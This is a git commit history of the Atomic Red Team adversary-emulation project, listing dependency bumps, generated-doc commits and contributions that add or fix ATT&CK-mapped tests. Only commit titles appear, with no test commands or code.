dependabot[bot] c4097dc7ed Bump hypothesis from 6.131.9 to 6.131.28 (#3117)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-31 10:54:24 -04:00
dependabot[bot] c03cd8e088 Bump pydantic from 2.11.4 to 2.11.5 (#3116)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-31 10:42:11 -04:00
dependabot[bot] aa7e5d0cce Bump ruamel-yaml from 0.18.10 to 0.18.11 (#3118)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-31 10:38:57 -04:00
dependabot[bot] 633de16098 Bump typer from 0.15.2 to 0.15.4 (#3115)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-25 01:06:49 -04:00
dependabot[bot] 5a14ae7539 Bump pydantic from 2.11.3 to 2.11.4 (#3112)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-22 00:21:54 -04:00
Atomic Red Team doc generator 864fee9513 Generated docs from job=generate-docs branch=master [ci skip] 2025-05-01 15:20:38 +00:00
wikijm 7658548ee4 Update T1562.006.yaml - Adding Atomic Test - Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table (#3109)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-05-01 11:19:44 -04:00
Atomic Red Team doc generator 762f0548a1 Generated docs from job=generate-docs branch=master [ci skip] 2025-05-01 15:13:41 +00:00
Hare Sudhan f63a2ac494 ATT&CK v17 changes (#3107)
Thanks Hare!
2025-05-01 11:12:40 -04:00
dependabot[bot] a3b664bc85 Bump hypothesis from 6.131.6 to 6.131.9 (#3108)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-05-01 10:48:22 -04:00
Atomic Red Team doc generator 09e643421c Generated docs from job=generate-docs branch=master [ci skip] 2025-04-29 22:39:13 +00:00
shou-ga-nai 69ce78765d Add T1578.001 - Cloud Snapshot Creation Tests (AWS, Azure, GCP) (#3103)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-04-29 18:38:13 -04:00
Atomic Red Team doc generator f6c76daca0 Generated docs from job=generate-docs branch=master [ci skip] 2025-04-28 16:43:38 +00:00
MichaelByte 68e7203669 Updated supported_platforms in the atomic regarding T1564.008 (#3101)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-04-28 09:42:40 -07:00
dependabot[bot] ffc50d5933 Bump hypothesis from 6.131.0 to 6.131.6 (#3105)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-04-23 22:29:36 -04:00
Brian 83761eb884 Update README.md (#3104) 2025-04-18 12:44:00 -04:00
dependabot[bot] 88a70c61ff Bump pydantic from 2.11.2 to 2.11.3 (#3102)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-04-17 21:50:15 -04:00
Atomic Red Team doc generator b3cd35ecb8 Generated docs from job=generate-docs branch=master [ci skip] 2025-04-15 19:05:18 +00:00
Manuel Kuß c303a26a5d Added four atomic tests for an Azure Function code injection scenario (#3093)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-04-15 12:03:59 -07:00
dependabot[bot] dd635f2c6f Bump hypothesis from 6.129.3 to 6.130.9 (#3099)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-04-10 19:07:06 -04:00
dependabot[bot] adfd78866b Bump pydantic from 2.11.1 to 2.11.2 (#3100)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-04-10 01:15:05 -04:00
Atomic Red Team doc generator 6a94940f80 Generated docs from job=generate-docs branch=master [ci skip] 2025-04-08 22:48:52 +00:00
Mattis 9e93193646 updated T1569.002 Use PsExec to execute a command on a remote host (#3090)
Co-authored-by: Mattis Swannet <mattis.swannet@nynox.eu>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-04-08 17:47:54 -05:00
Atomic Red Team doc generator 8f7b477da7 Generated docs from job=generate-docs branch=master [ci skip] 2025-04-08 16:35:35 +00:00
DelicateHug 96ee459edc Update T1218.005.yaml for windows 11 calculator (#3094)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: dademola <dademola@hunit.(none)>
2025-04-08 11:34:32 -05:00
Atomic Red Team doc generator cdf93972cd Generated docs from job=generate-docs branch=master [ci skip] 2025-04-06 15:08:56 +00:00
Casey Hennings 6f4a67633c Update T1546.008.yaml - New Atomic Tests (#3096)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-04-06 10:07:58 -05:00
Atomic Red Team doc generator a2c4686480 Generated docs from job=generate-docs branch=master [ci skip] 2025-04-06 15:05:33 +00:00
Cauan 5734215ee3 Removed superfluous echo preventing T1553.004 from running update-ca-certificates (#3095)
Co-authored-by: Cauan Guimarães <c.guimaraes[]gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-04-06 10:04:42 -05:00
dependabot[bot] 570026680e Bump pydantic from 2.9.2 to 2.11.1 (#3098)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-04-06 04:35:28 -04:00
za 65885baef0 Issue 3026: Remove single tick (#3081)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-03-20 09:49:48 -07:00
Atomic Red Team doc generator 098f6f146f Generated docs from job=generate-docs branch=master [ci skip] 2025-03-20 02:34:45 +00:00
Michael Haag 35d35a585f T1105- OneDriveStandaloneUpdater (#3085)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-03-19 22:33:52 -04:00
Atomic Red Team doc generator 098b33bfe2 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-20 00:48:28 +00:00
Casey Hennings 6192857491 Update T1546.008.yaml - New Atomic Test (#3084)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-03-19 19:47:29 -05:00
Atomic Red Team doc generator 3b3b30f544 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-19 22:55:33 +00:00
matt-kowalski 227a4ca7d7 bump ScreenConnect version (#3086)
Co-authored-by: Mattis Swannet <mattis.swannet@nynox.eu>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-03-19 15:54:37 -07:00
Atomic Red Team doc generator f100e02477 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-19 22:51:45 +00:00
Hannes Widéen ce3346f6fd Fix: small grammar/spelling errors in T1564.004 (#3087)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-03-19 15:50:50 -07:00
dependabot[bot] 33407bb6e2 Bump hypothesis from 6.128.2 to 6.129.3 (#3082)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-19 17:17:33 -04:00
Atomic Red Team doc generator 29b3bc5831 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-12 23:06:11 +00:00
Hare Sudhan 2db10d758e Added Cloudlfare tunnel (#3080)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-03-12 18:05:13 -05:00
Atomic Red Team doc generator f6f89f8ba5 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-12 22:58:52 +00:00
Hare Sudhan 3d289a64b6 Added VSCode tunnel (#3079)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-03-12 17:57:56 -05:00
Atomic Red Team doc generator 44ccc16cc1 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-12 22:54:32 +00:00
Hare Sudhan b5a0dbb0d7 Added devtunnels (#3078)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-03-12 17:53:33 -05:00
Atomic Red Team doc generator 4153ef9287 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-12 22:49:58 +00:00
Hare Sudhan 67003692e2 Remove Launch Daemon test in the user directory. (#3077) 2025-03-12 17:49:03 -05:00
Atomic Red Team doc generator 1d16e91c58 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-10 21:59:13 +00:00
ryananicholson 82b75e07e4 feat: Add T1046-12 (#3074)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-03-10 17:58:19 -04:00
dependabot[bot] 6ccb05dd04 Bump hypothesis from 6.127.6 to 6.128.2 (#3076)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-10 14:50:21 -04:00
dependabot[bot] a1730eac33 Bump hypothesis from 6.125.2 to 6.127.1 (#3067)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-03-06 20:58:56 -05:00
Atomic Red Team doc generator 75e5f98972 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-06 01:13:48 +00:00
DunderCode 422153bd8e Fix: Get prereq T1562.004 (#3075) 2025-03-05 20:12:57 -05:00
Atomic Red Team doc generator c65cbdf5c7 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-06 00:50:50 +00:00
you8023 4780f20599 Fix: mistake in T1113-9 (#3073)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-03-05 16:49:52 -08:00
dependabot[bot] 918d5a15ae Bump pytest from 8.3.4 to 8.3.5 (#3071)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-04 22:33:16 -05:00
dependabot[bot] 6774c419f1 Bump typer from 0.15.1 to 0.15.2 (#3072)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-04 20:12:11 -05:00
Atomic Red Team doc generator 726cd7002e Generated docs from job=generate-docs branch=master [ci skip] 2025-03-01 23:55:32 +00:00
Martha Sosa 779d1b0668 Marthajsosa patch 1 (#3069) 2025-03-01 17:54:39 -06:00
Atomic Red Team doc generator 8bc469a357 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-01 23:02:53 +00:00
Thomas ba3d91a29e Update T1219.yaml with Quick assist (#3068)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-03-01 17:02:00 -06:00
Atomic Red Team doc generator e45d7e2891 Generated docs from job=generate-docs branch=master [ci skip] 2025-03-01 22:56:37 +00:00
mthcht 78923faf9b Update T1070.002.md (#3070) 2025-03-01 16:55:42 -06:00
Atomic Red Team doc generator 121413dd3d Generated docs from job=generate-docs branch=master [ci skip] 2025-02-25 19:52:51 +00:00
you8023 b9e0de4837 Fix some mistake in T1560.002 and T1016.001 (#3056)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-25 11:51:51 -08:00
Atomic Red Team doc generator c313a5a937 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-25 04:35:21 +00:00
Vignesh 1338527365 Added T1095 for Linux (#3063)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-24 20:34:28 -08:00
Atomic Red Team doc generator b2eb35d1c3 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-25 04:28:04 +00:00
Carrie Roberts 07b95063b7 avoid command hanging (#3066)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-24 20:27:13 -08:00
Carrie Roberts 0e97929897 Create T1036.003_masquerading.vbs (#3064)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-24 16:33:22 -08:00
Atomic Red Team doc generator 71ed365f8f Generated docs from job=generate-docs branch=master [ci skip] 2025-02-24 23:53:33 +00:00
Washbear10 787d043f7f Fixes #2967 (#3061)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-24 15:52:35 -08:00
Atomic Red Team doc generator bd71993a47 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-24 23:49:46 +00:00
Carrie Roberts d9fcf12a31 add elevation required (#3065) 2025-02-24 15:48:54 -08:00
Atomic Red Team doc generator 30dd8f5ea7 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-23 15:45:26 +00:00
zoro bb90406df4 Create T1059.010.yaml (#3044)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-02-23 08:44:28 -07:00
Atomic Red Team doc generator 453c17abfb Generated docs from job=generate-docs branch=master [ci skip] 2025-02-21 22:18:28 +00:00
Manuel Kuß ddbb8208cf Update T1136.003.yaml (#3060)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-21 14:17:36 -08:00
Atomic Red Team doc generator 1e2321f434 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-21 22:11:55 +00:00
ryananicholson 27c202f87f feat: T1567.002 test 2 (#3057)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-21 14:10:28 -08:00
Atomic Red Team doc generator 5ede8f21e4 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-13 22:03:40 +00:00
philhagen-rc 318d7bd6f7 fix MD->HTML render for .io site (#3058) 2025-02-13 17:02:44 -05:00
dependabot[bot] 08b4b60c8b Bump hypothesis from 6.125.1 to 6.125.2 (#3055)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-10 22:13:45 -05:00
dependabot[bot] ba61ed2ce3 Bump hypothesis from 6.124.7 to 6.125.1 (#3046)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-02-07 21:25:56 -05:00
Atomic Red Team doc generator de903f3fdc Generated docs from job=generate-docs branch=master [ci skip] 2025-02-06 19:21:57 +00:00
Tony M Lambert 0a0d065c34 T1005 Test to Copy Apple Notes Databases via AppleScript (#3051)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-06 11:20:54 -08:00
Atomic Red Team doc generator 8eda90a87c Generated docs from job=generate-docs branch=master [ci skip] 2025-02-06 19:16:33 +00:00
Tony M Lambert b34f3d50ff T1539 AppleScript Copying Safari Cookies test (#3050)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-06 11:15:40 -08:00
Atomic Red Team doc generator 8bf6c17fed Generated docs from job=generate-docs branch=master [ci skip] 2025-02-05 22:36:57 +00:00
Carrie Roberts aa84d5dceb Update the ATT&CK Navigator Layers to v16 (#3049) 2025-02-05 17:36:08 -05:00
Atomic Red Team doc generator eca57cfb99 Generated docs from job=generate-docs branch=master [ci skip] 2025-02-05 22:02:34 +00:00
Tony M Lambert faddf2fe1e T1555.001 Copy Keychain via cat (#3048)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-02-05 14:01:29 -08:00
Atomic Red Team doc generator e5d8aec83e Generated docs from job=generate-docs branch=master [ci skip] 2025-02-05 18:52:21 +00:00
Thomas de Brelaz 45db9f2d89 T1046 - added csv option to ip_address parameter to test number 10 (#3047) 2025-02-05 13:51:06 -05:00
Atomic Red Team doc generator dae29f4952 Generated docs from job=generate-docs branch=master [ci skip] 2025-01-28 20:05:24 +00:00
ryananicholson fdd770460e feat: T1648-1 (#3038)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-01-28 12:04:30 -08:00
Atomic Red Team doc generator 8248b65cce Generated docs from job=generate-docs branch=master [ci skip] 2025-01-28 05:08:35 +00:00
Hare Sudhan 5bfbca38f0 Added additional tests for Virtualization/Sandbox Evasion: System Checks (#3041)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-01-27 21:07:43 -08:00
Atomic Red Team doc generator d10a13eb17 Generated docs from job=generate-docs branch=master [ci skip] 2025-01-28 05:03:31 +00:00
Hare Sudhan bfdd702717 Remove unused variable (#3040) 2025-01-28 00:02:41 -05:00
dependabot[bot] d88335c091 Bump hypothesis from 6.124.1 to 6.124.7 (#3042)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-27 17:04:24 -05:00
dependabot[bot] 6449b9277b Bump hypothesis from 6.123.16 to 6.124.1 (#3039)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-21 15:07:04 -05:00
Atomic Red Team doc generator 75fa21076d Generated docs from job=generate-docs branch=master [ci skip] 2025-01-17 22:15:28 +00:00
ryananicholson fd82e0ad35 New Technique: T1651 (#3031)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-01-17 14:14:34 -08:00
Atomic Red Team doc generator 16d170955c Generated docs from job=generate-docs branch=master [ci skip] 2025-01-17 21:20:31 +00:00
Tony M Lambert 546946b08b New T1539 Test for Chrome ABE Bypass via Remote Debugging (#3036) 2025-01-17 16:19:30 -05:00
Atomic Red Team doc generator 059c77f008 Generated docs from job=generate-docs branch=master [ci skip] 2025-01-16 00:41:19 +00:00
dependabot[bot] 818c23bdab Bump hypothesis from 6.123.2 to 6.123.16 (#3035)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-15 19:39:59 -05:00
dependabot[bot] 9321718383 Bump ruamel-yaml from 0.18.6 to 0.18.10 (#3032)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-13 11:02:21 -05:00
Atomic Red Team doc generator 7658865ae1 Generated docs from job=generate-docs branch=master [ci skip] 2025-01-12 22:43:13 +00:00
ryananicholson b1aba20ca4 feat: Added T1595.003 (#3027)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-01-12 17:42:16 -05:00
Atomic Red Team doc generator 908abd7bf6 Generated docs from job=generate-docs branch=master [ci skip] 2025-01-12 22:31:02 +00:00
Badoodish 1790286330 Added two new tests to T1614.001 (#3019)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-01-12 17:30:04 -05:00
Atomic Red Team doc generator ccd6146de1 Generated docs from job=generate-docs branch=master [ci skip] 2025-01-07 20:35:45 +00:00
SanSan-monkey 8d13023cc6 New Atomic TestT1547.001.yaml (#3025)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-01-07 12:34:41 -08:00
Atomic Red Team doc generator 6d5f38ebeb Generated docs from job=generate-docs branch=master [ci skip] 2025-01-03 22:28:45 +00:00
ryananicholson 8bf0d8dd69 feat: T1526 discovery (AWS and Azure) (#3023)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-01-03 14:27:52 -08:00
dependabot[bot] b7a6dd6c14 Bump hypothesis from 6.123.0 to 6.123.2 (#3021) 2025-01-01 12:30:20 -05:00
dependabot[bot] 12afd8e372 Bump hypothesis from 6.122.3 to 6.123.0 (#3020) 2024-12-23 20:16:03 -05:00
Atomic Red Team doc generator bfcfd561ea Generated docs from job=generate-docs branch=master [ci skip] 2024-12-19 00:43:51 +00:00
lazarg 89ad31cce4 Update T1124.yaml (#3016)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-12-18 16:42:42 -08:00
Atomic Red Team doc generator 1f3c2b9c9d Generated docs from job=generate-docs branch=master [ci skip] 2024-12-19 00:41:04 +00:00
lazarg 2d9087901d Update T1082.yaml (#3015)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-12-18 16:39:58 -08:00
Atomic Red Team doc generator f477866de4 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-18 16:53:07 +00:00
Retrospected f308db7af9 Fix T1547.001 test b051b3c0-66e7-4a81-916d-e6383bd3a669 by adding /f argument to the reg modification by reg.exe (#3017)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-12-18 08:52:10 -08:00
Atomic Red Team doc generator f6b46af2f4 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-18 07:26:07 +00:00
ryananicholson 11c88b9835 feat: more cloud credential discovery (#3018) 2024-12-17 23:25:10 -08:00
Atomic Red Team doc generator dda49722d7 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 18:35:39 +00:00
za 6cb8a46876 Fix typo on T1098.md (#2993) 2024-12-11 11:34:41 -07:00
Atomic Red Team doc generator 98513ccc8f Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 01:04:51 +00:00
Nasreddine Bencherchali dd77eab456 Autlogger Tampering Atomics (#3014)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 18:03:46 -07:00
Atomic Red Team doc generator b138e9a2e7 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 01:02:29 +00:00
Nasreddine Bencherchali 8a2891aa01 COMPlus_ETWEnabled Atomics (#3010)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 18:01:25 -07:00
Atomic Red Team doc generator 51d195d066 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 00:57:19 +00:00
joaovarelas 998b8ff722 fix T1001.002-1 powershell gen passwords (#3007)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 17:56:27 -07:00
Atomic Red Team doc generator 666c877ffc Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 00:54:14 +00:00
AJ King 6efef030bf Update broken uBlockLite URL (#2999)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 17:53:20 -07:00
Atomic Red Team doc generator 01e281aad2 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 00:47:02 +00:00
Nasreddine Bencherchali c800c57aab SDDL Tampering Atomics (#3006)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 17:46:01 -07:00
Atomic Red Team doc generator 24d1919fdf Generated docs from job=generate-docs branch=master [ci skip] 2024-12-11 00:37:58 +00:00
Kien Do 78a9b8296e Update T1486.yaml (#3005)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 17:36:53 -07:00
Atomic Red Team doc generator 0e512a6fc1 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-10 23:59:59 +00:00
Nathan 4ea1e37fc1 Expand ESXi-focused Tests (#3004)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-12-10 16:59:07 -07:00
Atomic Red Team doc generator 41884501a7 Generated docs from job=generate-docs branch=master [ci skip] 2024-12-10 23:06:16 +00:00
Burak Karaduman ddaf498575 New Atomic - Clear PowerShell Session History (#3011)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-12-10 18:05:24 -05:00
dependabot[bot] e5cbc11b0b Bump typer from 0.14.0 to 0.15.1 (#3012)
Bumps [typer](https://github.com/fastapi/typer) from 0.14.0 to 0.15.1.
- [Release notes](https://github.com/fastapi/typer/releases)
- [Changelog](https://github.com/fastapi/typer/blob/master/docs/release-notes.md)
- [Commits](https://github.com/fastapi/typer/compare/0.14.0...0.15.1)

---
updated-dependencies:
- dependency-name: typer
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-12-10 17:58:52 -05:00
dependabot[bot] 40e609a607 Bump hypothesis from 6.122.1 to 6.122.3 (#3013)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.122.1 to 6.122.3.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.122.1...hypothesis-python-6.122.3)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-12-10 17:56:34 -05:00
dependabot[bot] 8ac5c4f846 Bump pytest from 8.3.3 to 8.3.4 (#3001)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.3.3 to 8.3.4.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.3.3...8.3.4)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-12-02 23:36:10 -05:00
Atomic Red Team doc generator 099182372e Generated docs from job=generate-docs branch=master [ci skip] 2024-12-03 04:24:33 +00:00
Burak Karaduman 3675235b4a New Atomic - Exfiltrate Data using DNS Queries via dig (#2994)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-12-02 23:23:42 -05:00
dependabot[bot] f8b455702b Bump typer from 0.13.1 to 0.14.0 (#3002)
Bumps [typer](https://github.com/fastapi/typer) from 0.13.1 to 0.14.0.
- [Release notes](https://github.com/fastapi/typer/releases)
- [Changelog](https://github.com/fastapi/typer/blob/master/docs/release-notes.md)
- [Commits](https://github.com/fastapi/typer/compare/0.13.1...0.14.0)

---
updated-dependencies:
- dependency-name: typer
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-12-02 23:17:16 -05:00
dependabot[bot] ca98a490d2 Bump hypothesis from 6.119.4 to 6.122.1 (#3003)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.119.4 to 6.122.1.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.119.4...hypothesis-python-6.122.1)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-12-02 23:14:57 -05:00
dependabot[bot] daae6c4171 Bump typer from 0.13.0 to 0.13.1 (#2997)
Bumps [typer](https://github.com/fastapi/typer) from 0.13.0 to 0.13.1.
- [Release notes](https://github.com/fastapi/typer/releases)
- [Changelog](https://github.com/fastapi/typer/blob/master/docs/release-notes.md)
- [Commits](https://github.com/fastapi/typer/compare/0.13.0...0.13.1)

---
updated-dependencies:
- dependency-name: typer
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-25 22:04:19 -05:00
dependabot[bot] a6b2aaed44 Bump hypothesis from 6.119.3 to 6.119.4 (#2995)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.119.3 to 6.119.4.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.119.3...hypothesis-python-6.119.4)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-25 22:01:26 -05:00
Atomic Red Team doc generator 517da55ea7 Generated docs from job=generate-docs branch=master [ci skip] 2024-11-20 21:13:28 +00:00
Burak Karaduman 7e90223bf7 New Atomic - Privilege Escalation via Docker Volume Mapping (#2992)
* New Atomic - Privilege Escalation via Docker Volume Mapping

* Rearranged keys

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-11-20 13:12:35 -08:00
Atomic Red Team doc generator 5eb9040c3c Generated docs from job=generate-docs branch=master [ci skip] 2024-11-20 20:22:26 +00:00
Kien Do ac78f1f902 Update T1078.004.yaml (#2991)
Update cleanup section
2024-11-20 12:21:22 -08:00
Atomic Red Team doc generator 7614a1937a Generated docs from job=generate-docs branch=master [ci skip] 2024-11-20 03:12:06 +00:00
Kien Do f2c4afb9e1 Update T1078.004.yaml (#2982)
